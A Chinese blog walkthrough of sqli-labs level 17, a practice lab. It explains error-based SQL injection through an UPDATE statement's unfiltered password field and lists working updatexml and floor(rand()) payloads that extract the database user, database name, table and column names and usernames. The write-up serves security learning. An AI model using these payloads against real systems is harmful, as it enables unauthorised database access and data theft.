sqli-labs 第十七关

目录

找注入点:

源码分析:

测试:

奇怪现象:

        (1):当我们输入的密码为字符进行注入时。

        (2):当我们输入的密码为整数时。

产生原因:

解决方法:

开始注入:

            注入用户名:

           注入数据库名:

            注入表名:

             注入列名:

               注入具体值:


找注入点:

       

        经过我们的测试,当在密码出输入一个单引号时就会出现报错,对此注入点可能就在该位置。

       

源码分析:

       可以发现,这里使用update语句来修改用户的密码,并且对我们输入的用户名进行了过滤但并没有对密码进行过滤。并且允许sql语句报错,由此我们可以使用报错注入。

       

        

测试:

        在上面已经确认使用报错注入来完成,我们先测试看看能不能注入出数据。

奇怪现象:

        接下来我们一步一步注入。

        (1):当我们输入的密码为字符进行注入时。

        一:注入用户名

                admin' and updatexml(1,concat(0x7e,(user(),0x7e),1)#

        二:注入数据库名

                admin' and updatexml(1,concat(0x7e,(database()),0x7e),1) #

        三:注入表名

                admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

               这里,我们发现我们输入这句sql报了上面这个错误,但是我们的sql注入语句并没有写错。这就是我们的奇怪现象之一。

        (2):当我们输入的密码为整数时。

                我们接着上面测试注入表名。

                2' and updatexml(1,concat(0x7e,(select group_concat(table_name) from                 information_schema.tables where table_schema='security'),0x7e),1)#

        这里我们发现当我们的密码为整数时就可以注入出数据。这就是第二个奇怪现象。

产生原因:

        经过我在各种论坛上去查找,终于找到了原因。

        (1):在Update语句中从左到右执行,当前面输入的密码为字符时并且到and时语法就会出现错误。之所以前面的用户名和数据库名会被爆出来,是因为user()和database()是mysql内置的函数,优先级较高,优先执行,所以会被爆出来。如下:

 admin' and updatexml(1,concat(0x7e,(user(),0x7e),1)#
admin' and updatexml(1,concat(0x7e,(database()),0x7e),1) #

        (2)当前面的输入的密码 为整数时,之所以可以被执行,是因为当我们输入的为整数时相当与给后面的语句加上了一个括号,并且有限执行括号中的内容。所以能够爆出数据。

2' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

解决方法:

        我们可以使用在前面输入的密码为整数的方式进行注入。也可以使用floor报错函数进行注入。

开始注入:

        我们使用前面密码为整数的方式来进行注入。

            注入用户名:

           2' and updatexml(1,concat(0x7e,(user()),0x7e),1)#

           注入数据库名:

                2' and updatexml(1,concat(0x7e,(database()),0x7e),1)#

            注入表名:

2' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#      

                       

             注入列名:

2' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)# 

        

               注入具体值:

23' and(select 1 from (select count(*),concat(substring((select group_concat(username) from users),1,32),floor(rand(0)*2))x from information_schema.tables group by x)a)#

    

到此我们实验就完美注入了。

小插曲:

大家可以看到在最后注入具体值的时候我们使用的是floor进行注入,是因为当我们使用updatexml进行注入时会爆下面的问题: 等我查阅资料后回来改正。

2' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)#

总结:这里推荐大家使用floor进行报错注入,使用floor报错注入就不会出现任何问题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/621529.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Docker:docker在项目中常用的一些命令

简介   Docker 是一个开源的容器化平台,它允许开发者将应用程序及其依赖项打包到一个可移植的容器中,并发布到任何安装了 Docker 引擎的机器上。这些容器是轻量级的,包含了应用程序运行所需的所有东西,如代码、系统库、系统工具…

SpringBoot集成Redis环境搭建及配置详解

前言 Redis作为当前最火的NoSQL数据库,支持很多语言客户端操作Redis。 而SpringBoot作为java当前最火的开发框架,提供了Spring-data-redis框架实现对Redis的各种操作。 在springboot1.5.x版本的默认的Redis客户端都是Jedis实现的,springboot…

大模型时代下两种few shot高效文本分类方法

介绍近年(2022、2024)大语言模型盛行下的两篇文本分类相关的论文,适用场景为few shot。两种方法分别是setfit和fastfit,都提供了python的包使用方便。 论文1:Efficient Few-Shot Learning Without Prompts 题目:无需提示的高效少…

浪潮信息企业级存储逆势增长 市场份额位列中国前二

2023年,中国企业级存储市场竞争激烈,在挑战重重之下,浪潮信息仍然实现逆势增长,销售额增幅达4.7%,市场份额相比2022年扩大0.6%,位列中国前二。另外,在高端和全闪存阵列细分市场,浪潮…

Vue3实战Easy云盘(三):文件删除+文件移动+目录导航+上传优化/文件过滤/搜索

一、文件删除 &#xff08;1&#xff09;选中了之后才可以删除&#xff0c;没有选中时就显示暗调删除按钮 &#xff08;2&#xff09;实现选中高亮功能 &#xff08;3&#xff09;单个删除 &#xff08;4&#xff09;批量删除 Main.vue中 <!-- 按钮3 --><!-- 如果sel…

鸿蒙内核源码分析(用户态锁篇) | 如何使用快锁Futex(上)

快锁上下篇 鸿蒙内核实现了Futex&#xff0c;系列篇将用两篇来介绍快锁&#xff0c;主要两个原因: 网上介绍Futex的文章很少&#xff0c;全面深入内核介绍的就更少&#xff0c;所以来一次详细整理和挖透。涉及用户态和内核态打配合&#xff0c;共同作用&#xff0c;既要说用户…

【Linux】文件描述符和重定向

目录 一、回顾C文件 二、系统文件I/O 2.1 系统调用 open 2.2 标志位传参 2.3 系统调用 write 2.4 文件描述符fd 2.5 struct file 2.6 fd的分配规则 2.7 重定向 2.7.1 基本原理&#xff1a; 2.7.2 系统调用 dup2 2.8 标准错误 一、回顾C文件 文件 内容 属性 对…

3分钟,学会一个 Lambda 小知识之【流API】

之前给大家介绍的 Lambda 小知识还记得吗&#xff1f;今天再来给大家介绍&#xff0c; 流API 的相关知识要点。 流API Stream是Java8中处理集合的关键抽象概念&#xff0c;它可以指定你对集合的&#xff0c;可以执行查找、过滤和映射等数据操作。 Stream 使用一种类似用 SQ…

资料如何打印更省钱

在日常工作和学习中&#xff0c;我们经常需要打印各种资料。然而&#xff0c;随着打印成本的不断提高&#xff0c;如何更省钱地打印资料成为了大家关注的焦点。今天&#xff0c;就为大家分享一些资料打印的省钱技巧&#xff0c;并推荐一个省钱又省心的打印平台。 首先&#xff…

冥想的时候怎么专注自己

冥想的时候怎么专注自己&#xff1f;我国传统的打坐养生功法&#xff0c;实际最早可追溯到五千年前的黄帝时代。   每天投资两个半小时的打坐&#xff0c;有上千年之久的功效。因为当你们打坐进入永恒时&#xff0c;时间停止了。这不只是两个半小时&#xff0c;而是百千万亿年…

深入探讨黑盒测试:等价类划分与边界值分析

文章目录 概要黑盒测试等价类划分边界值分析 设计测试用例小结 概要 在软件开发领域&#xff0c;测试是确保产品质量的关键步骤之一。而黑盒测试方法作为其中的一种&#xff0c;通过关注输入与输出之间的关系&#xff0c;而不考虑内部实现的细节&#xff0c;被广泛应用于各种软…

使用git系统来更新FreeBSD ports源码

FreeBSD跟其它系统相比一大特色就是ports系统。 The Ports Collection is a set of Makefiles, patches, and description files. Each set of these files is used to compile and install an individual application on FreeBSD, and is called a port. By default, the Po…

5 款免费好用的精品软件推荐!

AI视频生成&#xff1a;小说文案智能分镜智能识别角色和场景批量Ai绘图自动配音添加音乐一键合成视频https://aitools.jurilu.com/ 1.系统优化软件 - Wise Care 365 Wise Care 365 -全球最快的系统优化软件&#xff01;精简系统、管理启动项、清理和优化注册表、清理个人隐私…

基于51单片机的冰箱控制系统设计( proteus仿真+程序+设计报告+原理图+讲解视频)

基于51单片机冰箱控制系统设计( proteus仿真程序设计报告原理图讲解视频&#xff09; 基于51单片机冰箱控制系统设计 1. 主要功能&#xff1a;2. 讲解视频&#xff1a;3. 仿真4. 程序代码5. 设计报告6. 原理图7. 设计资料内容清单&&下载链接资料下载链接&#xff1a; …

Debian mariadb 10.11 XXXX message from server: “Too many connections“

问题表现 报错信息&#xff1a;Caused by: com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException: Data source rejected establishment of connection, message from server: "Too many connections" 处理步骤 1、尝试能不能通过终端登录&…

从头理解transformer,注意力机制(下)

交叉注意力 交叉注意力里面q和KV生成的数据不一样 自注意力机制就是闷头自学 解码器里面的每一层都会拿着编码器结果进行参考&#xff0c;然后比较相互之间的差异。每做一次注意力计算都需要校准一次 编码器和解码器是可以并行进行训练的 训练过程 好久不见输入到编码器&…

SpringBoot中@Value注入失败

首先&#xff0c;不支持static的 解决&#xff1a;使用setter方法进行属性的赋值,并且setter方法不能有static 生成set/get方法就可以了&#xff0c;然后Value 放在set上

《系统架构设计师教程(第2版)》第10章-软件架构的演化和维护-07-软件架构维护

文章目录 1. 软件架构知识管理1.1 概念1.2 架构知识的获取1.3 作用1.4 架构知识管理的现状 2 软件架构修改管理3 软件架构版本管理4. 示例4.1 背景4.2 数据获取4.3 数据计算4.4 结果分析4.4.1 圈复杂度 (CCN)4.4.2 扇入扇出度 (FFC)4.4.3 模块间耦合度 (CBO)4.4.4 模块的响应 (…

x264 场景切换检测算法分析

x264 编码器场景切换 在 x264 编码器中,场景切换(Scene Cut)检测是一个重要的特性,它用于识别视频中不同场景之间的过渡点。这些过渡点通常是视觉上显著不同的帧,比如从一个镜头切换到另一个镜头。在这些点插入关键帧(I帧)可以提高视频的随机访问性和编码效率。 入口函…

vue 百度地图点击marker修改marker图片,其他marker图片不变。

解决思路&#xff0c;就是直接替换对应marker的图片。获取marker对象判断点击的marker替换成新图片&#xff0c;上一个被点击的就替换成老图片。 marker.name tag;marker.id i; //一定要设置id&#xff0c;我这里是设置的循环key值&#xff0c;要唯一性。map.addOverlay(mark…